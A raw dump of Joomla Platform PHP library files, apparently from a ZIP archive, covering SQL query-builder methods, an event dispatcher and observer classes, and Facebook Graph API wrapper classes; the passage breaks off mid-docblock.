$result = $this->db->getNullDate($quoted);
if ($quoted)
{
return $this->db->quote($result);
}
return $result;
}
/**
* Add an ordering column to the ORDER clause of the query.
*
* Usage:
* $query->order('foo')->order('bar');
* $query->order(array('foo','bar'));
*
* @param mixed $columns A string or array of ordering columns.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function order($columns)
{
if (is_null($this->order))
{
$this->order = new JDatabaseQueryElement('ORDER BY',
$columns);
}
else
{
$this->order->append($columns);
}
return $this;
}
/**
* Add an OUTER JOIN clause to the query.
*
* Usage:
* $query->outerJoin('b ON b.id =
a.id')->outerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function outerJoin($condition)
{
$this->join('OUTER', $condition);
return $this;
}
/**
* Method to quote and optionally escape a string to database requirements
for insertion into the database.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quote method directly.
*
* Note that 'q' is an alias for this method as it is in
JDatabaseDriver.
*
* Usage:
* $query->quote('fulltext');
* $query->q('fulltext');
* $query->q(array('option', 'fulltext'));
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True to escape the string, false to leave it
unchanged.
*
* @return string The quoted input string.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quote($text, $escape = true)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quote($text, $escape);
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quoteName method directly.
*
* Note that 'qn' is an alias for this method as it is in
JDatabaseDriver.
*
* Usage:
* $query->quoteName('#__a');
* $query->qn('#__a');
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quoteName($name, $as = null)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quoteName($name, $as);
}
/**
* Add a RIGHT JOIN clause to the query.
*
* Usage:
* $query->rightJoin('b ON b.id =
a.id')->rightJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function rightJoin($condition)
{
$this->join('RIGHT', $condition);
return $this;
}
/**
* Add a single column, or array of columns to the SELECT clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The select method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->select('a.*')->select('b.id');
* $query->select(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function select($columns)
{
$this->type = 'select';
if (is_null($this->select))
{
$this->select = new JDatabaseQueryElement('SELECT',
$columns);
}
else
{
$this->select->append($columns);
}
return $this;
}
/**
* Add a single condition string, or an array of strings to the SET clause
of the query.
*
* Usage:
* $query->set('a = 1')->set('b = 2');
* $query->set(array('a = 1', 'b = 2');
*
* @param mixed $conditions A string or array of string conditions.
* @param string $glue The glue by which to join the condition
strings. Defaults to ,.
* Note that the glue is set on first use
and cannot be changed.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function set($conditions, $glue = ',')
{
if (is_null($this->set))
{
$glue = strtoupper($glue);
$this->set = new JDatabaseQueryElement('SET', $conditions,
"\n\t$glue ");
}
else
{
$this->set->append($conditions);
}
return $this;
}
/**
* Allows a direct query to be provided to the database
* driver's setQuery() method, but still allow queries
* to have bounded variables.
*
* Usage:
* $query->setQuery('select * from #__users');
*
* @param mixed $sql An SQL Query
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setQuery($sql)
{
$this->sql = $sql;
return $this;
}
/**
* Add a table name to the UPDATE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->update('#__foo')->set(...);
*
* @param string $table A table to update.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function update($table)
{
$this->type = 'update';
$this->update = new JDatabaseQueryElement('UPDATE', $table);
return $this;
}
/**
* Adds a tuple, or array of tuples that would be used as values for an
INSERT INTO statement.
*
* Usage:
* $query->values('1,2,3')->values('4,5,6');
* $query->values(array('1,2,3', '4,5,6'));
*
* @param string $values A single tuple, or array of tuples.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function values($values)
{
if (is_null($this->values))
{
$this->values = new JDatabaseQueryElement('()', $values,
'),(');
}
else
{
$this->values->append($values);
}
return $this;
}
/**
* Add a single condition, or an array of conditions to the WHERE clause
of the query.
*
* Usage:
* $query->where('a = 1')->where('b = 2');
* $query->where(array('a = 1', 'b = 2'));
*
* @param mixed $conditions A string or array of where conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
* Note that the glue is set on first use
and cannot be changed.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function where($conditions, $glue = 'AND')
{
if (is_null($this->where))
{
$glue = strtoupper($glue);
$this->where = new JDatabaseQueryElement('WHERE',
$conditions, " $glue ");
}
else
{
$this->where->append($conditions);
}
return $this;
}
/**
* Extend the WHERE clause with a single condition or an array of
conditions, with a potentially
* different logical operator from the one in the current WHERE clause.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->extendWhere('XOR', array('c = 3', 'd
= 4'));
* will produce: WHERE ((a = 1 AND b = 2) XOR (c = 3 AND d = 4)
*
* @param string $outerGlue The glue by which to join the conditions
to the current WHERE conditions.
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $innerGlue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function extendWhere($outerGlue, $conditions, $innerGlue =
'AND')
{
// Replace the current WHERE with a new one which has the old one as an
unnamed child.
$this->where = new JDatabaseQueryElement('WHERE',
$this->where->setName('()'), " $outerGlue ");
// Append the new conditions as a new unnamed child.
$this->where->append(new JDatabaseQueryElement('()',
$conditions, " $innerGlue "));
return $this;
}
/**
* Extend the WHERE clause with an OR and a single condition or an array
of conditions.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->orWhere(array('c = 3', 'd = 4'));
* will produce: WHERE ((a = 1 AND b = 2) OR (c = 3 AND d = 4)
*
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function orWhere($conditions, $glue = 'AND')
{
return $this->extendWhere('OR', $conditions, $glue);
}
/**
* Extend the WHERE clause with an AND and a single condition or an array
of conditions.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->andWhere(array('c = 3', 'd = 4'));
* will produce: WHERE ((a = 1 AND b = 2) AND (c = 3 OR d = 4)
*
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to OR.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function andWhere($conditions, $glue = 'OR')
{
return $this->extendWhere('AND', $conditions, $glue);
}
/**
* Method to provide deep copy support to nested objects and
* arrays when cloning.
*
* @return void
*
* @since 1.7.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if ($k === 'db')
{
continue;
}
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
/**
* Add a query to UNION with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage (the $query base query MUST be a select query):
* $query->union('SELECT name FROM #__foo')
* $query->union('SELECT name FROM #__foo', true)
* $query->union($query2)->union($query3)
*
* The $query attribute as an array is deprecated and will not be
supported in 4.0.
*
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
* $query->union(array($query2, $query3))
*
* @param mixed $query The JDatabaseQuery object or string to
union.
* @param boolean $distinct True to only return distinct rows from the
union.
* @param string $glue The glue by which to join the conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @link http://dev.mysql.com/doc/refman/5.0/en/union.html
*
* @since 3.0.0
*/
public function union($query, $distinct = false, $glue = '')
{
// Set up the DISTINCT flag, the name with parentheses, and the glue.
if ($distinct)
{
$name = 'UNION DISTINCT ()';
$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
}
else
{
$glue = ')' . PHP_EOL . 'UNION (';
$name = 'UNION ()';
}
if (is_array($query))
{
JLog::add('Query attribute as an array is deprecated.',
JLog::WARNING, 'deprecated');
}
// Get the JDatabaseQueryElement if it does not exist
if (is_null($this->union))
{
$this->union = new JDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->union->append($query);
}
return $this;
}
/**
* Add a query to UNION DISTINCT with the current query. Simply a proxy to
union with the DISTINCT keyword.
*
* Usage:
* $query->unionDistinct('SELECT name FROM #__foo')
*
* @param mixed $query The JDatabaseQuery object or string to union.
* @param string $glue The glue by which to join the conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @see union
*
* @since 3.0.0
* @deprecated 4.0 Use union() instead.
*/
public function unionDistinct($query, $glue = '')
{
$distinct = true;
// Apply the distinct flag to the union.
return $this->union($query, $distinct, $glue);
}
/**
* Find and replace sprintf-like tokens in a format string.
* Each token takes one of the following forms:
* %% - A literal percent character.
* %[t] - Where [t] is a type specifier.
* %[n]$[x] - Where [n] is an argument specifier and [t] is a type
specifier.
*
* Types:
* a - Numeric: Replacement text is coerced to a numeric type but not
quoted or escaped.
* e - Escape: Replacement text is passed to $this->escape().
* E - Escape (extra): Replacement text is passed to $this->escape()
with true as the second argument.
* n - Name Quote: Replacement text is passed to $this->quoteName().
* q - Quote: Replacement text is passed to $this->quote().
* Q - Quote (no escape): Replacement text is passed to $this->quote()
with false as the second argument.
* r - Raw: Replacement text is used as-is. (Be careful)
*
* Date Types:
* - Replacement text automatically quoted (use uppercase for Name Quote).
* - Replacement text should be a string in date format or name of a date
column.
* y/Y - Year
* m/M - Month
* d/D - Day
* h/H - Hour
* i/I - Minute
* s/S - Second
*
* Invariable Types:
* - Takes no argument.
* - Argument index not incremented.
* t - Replacement text is the result of $this->currentTimestamp().
* z - Replacement text is the result of $this->nullDate(false).
* Z - Replacement text is the result of $this->nullDate(true).
*
* Usage:
* $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a',
'foo', '#__foo', 'bar', 1);
* Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1
*
* Notes:
* The argument specifier is optional but recommended for clarity.
* The argument index used for unspecified tokens is incremented only when
used.
*
* @param string $format The formatting string.
*
* @return string Returns a string produced according to the formatting
string.
*
* @since 3.1.4
*/
public function format($format)
{
$query = $this;
$args = array_slice(func_get_args(), 1);
array_unshift($args, null);
$i = 1;
$func = function ($match) use ($query, $args, &$i)
{
if (isset($match[6]) && $match[6] == '%')
{
return '%';
}
// No argument required, do not increment the argument index.
switch ($match[5])
{
case 't':
return $query->currentTimestamp();
break;
case 'z':
return $query->nullDate(false);
break;
case 'Z':
return $query->nullDate(true);
break;
}
// Increment the argument index only if argument specifier not provided.
$index = is_numeric($match[4]) ? (int) $match[4] : $i++;
if (!$index || !isset($args[$index]))
{
// TODO - What to do? sprintf() throws a Warning in these cases.
$replacement = '';
}
else
{
$replacement = $args[$index];
}
switch ($match[5])
{
case 'a':
return 0 + $replacement;
break;
case 'e':
return $query->escape($replacement);
break;
case 'E':
return $query->escape($replacement, true);
break;
case 'n':
return $query->quoteName($replacement);
break;
case 'q':
return $query->quote($replacement);
break;
case 'Q':
return $query->quote($replacement, false);
break;
case 'r':
return $replacement;
break;
// Dates
case 'y':
return $query->year($query->quote($replacement));
break;
case 'Y':
return $query->year($query->quoteName($replacement));
break;
case 'm':
return $query->month($query->quote($replacement));
break;
case 'M':
return $query->month($query->quoteName($replacement));
break;
case 'd':
return $query->day($query->quote($replacement));
break;
case 'D':
return $query->day($query->quoteName($replacement));
break;
case 'h':
return $query->hour($query->quote($replacement));
break;
case 'H':
return $query->hour($query->quoteName($replacement));
break;
case 'i':
return $query->minute($query->quote($replacement));
break;
case 'I':
return $query->minute($query->quoteName($replacement));
break;
case 's':
return $query->second($query->quote($replacement));
break;
case 'S':
return $query->second($query->quoteName($replacement));
break;
}
return '';
};
/**
* Regexp to find and replace all tokens.
* Matched fields:
* 0: Full token
* 1: Everything following '%'
* 2: Everything following '%' unless '%'
* 3: Argument specifier and '$'
* 4: Argument specifier
* 5: Type specifier
* 6: '%' if full token is '%%'
*/
return
preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#',
$func, $format);
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
* Note: Not all drivers support all units.
*
* @param string $date The db quoted string representation of the
date to add to. May be date or datetime
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @link
http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add
* @since 3.2.0
*/
public function dateAdd($date, $interval, $datePart)
{
return 'DATE_ADD(' . $date . ', INTERVAL ' .
$interval . ' ' . $datePart . ')';
}
/**
* Add a query to UNION ALL with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage:
* $query->union('SELECT name FROM #__foo')
*
* The $query attribute as an array is deprecated and will not be
supported in 4.0.
*
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
*
* @param mixed $query The JDatabaseQuery object or string to
union.
* @param boolean $distinct Not used - ignored.
* @param string $glue Not used - ignored.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @see union
*
* @since 3.2.0
*/
public function unionAll($query, $distinct = false, $glue = '')
{
$glue = ')' . PHP_EOL . 'UNION ALL (';
$name = 'UNION ALL ()';
if (is_array($query))
{
JLog::add('Query attribute as an array is deprecated.',
JLog::WARNING, 'deprecated');
}
// Get the JDatabaseQueryElement if it does not exist
if (is_null($this->unionAll))
{
$this->unionAll = new JDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->unionAll->append($query);
}
return $this;
}
/**
* Validate arguments which are passed to selectRowNumber method and set
up common variables.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return void
*
* @since 3.7.0
* @throws RuntimeException
*/
protected function validateRowNumber($orderBy, $orderColumnAlias)
{
if ($this->selectRowNumber)
{
throw new RuntimeException("Method 'selectRowNumber' can
be called only once per instance.");
}
$this->type = 'select';
$this->selectRowNumber = array(
'orderBy' => $orderBy,
'orderColumnAlias' => $orderColumnAlias,
);
}
/**
* Return the number of the current row.
*
* Usage:
* $query->select('id');
* $query->selectRowNumber('ordering,publish_up DESC',
'new_ordering');
* $query->from('#__content');
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
$this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS
$orderColumnAlias");
return $this;
}
}
PKJn�[�mEevent/dispatcher.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Event
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Class to handle dispatching of events.
*
* This is the Observable part of the Observer design pattern
* for the event architecture.
*
* @see JPlugin
* @since 3.0.0
* @deprecated 4.0 The CMS' Event classes will be replaced with the
`joomla/event` package
*/
class JEventDispatcher extends JObject
{
/**
* An array of Observer objects to notify
*
* @var array
* @since 3.0.0
*/
protected $_observers = array();
/**
* The state of the observable object
*
* @var mixed
* @since 3.0.0
*/
protected $_state = null;
/**
* A multi dimensional array of [function][] = key for observers
*
* @var array
* @since 3.0.0
*/
protected $_methods = array();
/**
* Stores the singleton instance of the dispatcher.
*
* @var JEventDispatcher
* @since 3.0.0
*/
protected static $instance = null;
/**
* Returns the global Event Dispatcher object, only creating it
* if it doesn't already exist.
*
* @return JEventDispatcher The EventDispatcher object.
*
* @since 3.0.0
*/
public static function getInstance()
{
if (self::$instance === null)
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Get the state of the JEventDispatcher object
*
* @return mixed The state of the object.
*
* @since 3.0.0
*/
public function getState()
{
return $this->_state;
}
/**
* Registers an event handler to the event dispatcher
*
* @param string $event Name of the event to register handler for
* @param string $handler Name of the event handler
*
* @return void
*
* @since 3.0.0
* @throws InvalidArgumentException
*/
public function register($event, $handler)
{
// Are we dealing with a class or callback type handler?
if (is_callable($handler))
{
// Ok, function type event handler... let's attach it.
$method = array('event' => $event, 'handler'
=> $handler);
$this->attach($method);
}
elseif (class_exists($handler))
{
// Ok, class type event handler... let's instantiate and attach it.
$this->attach(new $handler($this));
}
else
{
throw new InvalidArgumentException('Invalid event handler.');
}
}
/**
* Triggers an event by dispatching arguments to all observers that handle
* the event and returning their return values.
*
* @param string $event The event to trigger.
* @param array $args An array of arguments.
*
* @return array An array of results from each function call.
*
* @since 3.0.0
*/
public function trigger($event, $args = array())
{
$result = array();
/*
* If no arguments were passed, we still need to pass an empty array to
* the call_user_func_array function.
*/
$args = (array) $args;
$event = strtolower($event);
// Check if any plugins are attached to the event.
if (!isset($this->_methods[$event]) ||
empty($this->_methods[$event]))
{
// No Plugins Associated To Event!
return $result;
}
// Loop through all plugins having a method matching our event
foreach ($this->_methods[$event] as $key)
{
// Check if the plugin is present.
if (!isset($this->_observers[$key]))
{
continue;
}
// Fire the event for an object based observer.
if (is_object($this->_observers[$key]))
{
$args['event'] = $event;
$value = $this->_observers[$key]->update($args);
}
// Fire the event for a function based observer.
elseif (is_array($this->_observers[$key]))
{
$value =
call_user_func_array($this->_observers[$key]['handler'],
array_values($args));
}
if (isset($value))
{
$result[] = $value;
}
}
return $result;
}
/**
* Attach an observer object
*
* @param object $observer An observer object to attach
*
* @return void
*
* @since 3.0.0
*/
public function attach($observer)
{
if (is_array($observer))
{
if (!isset($observer['handler']) ||
!isset($observer['event']) ||
!is_callable($observer['handler']))
{
return;
}
// Make sure we haven't already attached this array as an observer
foreach ($this->_observers as $check)
{
if (is_array($check) && $check['event'] ===
$observer['event'] && $check['handler'] ===
$observer['handler'])
{
return;
}
}
$this->_observers[] = $observer;
$methods = array($observer['event']);
}
else
{
if (!($observer instanceof JEvent))
{
return;
}
// Make sure we haven't already attached this object as an observer
$class = get_class($observer);
foreach ($this->_observers as $check)
{
if ($check instanceof $class)
{
return;
}
}
$this->_observers[] = $observer;
$methods = array_diff(get_class_methods($observer),
get_class_methods('JPlugin'));
}
end($this->_observers);
$key = key($this->_observers);
foreach ($methods as $method)
{
$method = strtolower($method);
if (!isset($this->_methods[$method]))
{
$this->_methods[$method] = array();
}
$this->_methods[$method][] = $key;
}
}
/**
* Detach an observer object
*
* @param object $observer An observer object to detach.
*
* @return boolean True if the observer object was detached.
*
* @since 3.0.0
*/
public function detach($observer)
{
$retval = false;
$key = array_search($observer, $this->_observers);
if ($key !== false)
{
unset($this->_observers[$key]);
$retval = true;
foreach ($this->_methods as &$method)
{
$k = array_search($key, $method);
if ($k !== false)
{
unset($method[$k]);
}
}
}
return $retval;
}
}
PKJn�[�F{��event/event.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Event
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* JEvent Class
*
* @since 1.5
* @deprecated 4.0 The CMS' Event classes will be replaced with the
`joomla/event` package
*/
abstract class JEvent extends JObject
{
/**
* Event object to observe.
*
* @var object
* @since 2.5
*/
protected $_subject = null;
/**
* Constructor
*
* @param object &$subject The object to observe.
*
* @since 2.5
*/
public function __construct(&$subject)
{
// Register the observer ($this) so we can be notified
$subject->attach($this);
// Set the subject to observe
$this->_subject = &$subject;
}
/**
* Method to trigger events.
* The method first generates the even from the argument array. Then it
unsets the argument
* since the argument has no bearing on the event handler.
* If the method exists it is called and returns its return value. If it
does not exist it
* returns null.
*
* @param array &$args Arguments
*
* @return mixed Routine return value
*
* @since 1.5
*/
public function update(&$args)
{
// First let's get the event from the argument array. Next we will
unset the
// event argument as it has no bearing on the method to handle the event.
$event = $args['event'];
unset($args['event']);
/*
* If the method to handle an event exists, call it and return its return
* value. If it does not exist, return null.
*/
if (method_exists($this, $event))
{
return call_user_func_array(array($this, $event), array_values($args));
}
}
}
PKJn�[&
:iQQfacebook/album.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Album class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/album/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookAlbum extends JFacebookObject
{
/**
* Method to get an album. Requires authentication and user_photos or
friends_photos permission for private photos.
*
* @param string $album The album id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAlbum($album)
{
return $this->get($album);
}
/**
* Method to get the photos contained in this album. Requires
authentication and user_photos or friends_photos permission for private
photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($album, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($album, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to add photos to an album. Note: check can_upload flag first.
Requires authentication and publish_stream permission.
*
* @param string $album The album id.
* @param string $source Path to photo.
* @param string $message Photo description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($album, $source, $message = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($album, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get an album's comments. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($album, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($album, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on an album. Requires authentication and
publish_stream permission.
*
* @param string $album The album id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($album, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($album, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get album's likes. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($album, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($album, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like an album. Requires authentication and publish_stream
permission.
*
* @param string $album The album id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($album)
{
return $this->createConnection($album, 'likes');
}
/**
* Method to unlike an album. Requires authentication and publish_stream
permission.
*
* @param string $album The album id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($album)
{
return $this->deleteConnection($album, 'likes');
}
/**
* Method to get the album's cover photo, the first picture uploaded
to an album becomes the cover photo for the album.
* Requires authentication and user_photos or friends_photos permission
for private photos.
*
* @param string $album The album id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($album, $redirect = true)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
return $this->getConnection($album, 'picture',
$extra_fields);
}
}
PKJn�[�R�GGfacebook/checkin.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Checkin class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/checkin/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookCheckin extends JFacebookObject
{
/**
* Method to get a checkin. Requires authentication and user_checkins or
friends_checkins permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getCheckin($checkin)
{
return $this->get($checkin);
}
/**
* Method to get a checkin's comments. Requires authentication and
user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($checkin, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($checkin, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to post a comment to the checkin. Requires authentication and
publish_stream and user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param string $message The checkin's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($checkin, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($checkin, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a checkin's likes. Requires authentication and
user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($checkin, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($checkin, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a checkin. Requires authentication and publish_stream
and user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLike($checkin)
{
return $this->createConnection($checkin, 'likes');
}
/**
* Method to unlike a checkin. Requires authentication and publish_stream
permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteLike($checkin)
{
return $this->deleteConnection($checkin, 'likes');
}
}
PKJn�[�facebook/comment.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Comment class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/Comment/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookComment extends JFacebookObject
{
/**
* Method to get a comment. Requires authentication.
*
* @param string $comment The comment id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComment($comment)
{
return $this->get($comment);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a comment's comments. Requires authentication.
*
* @param string $comment The comment id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
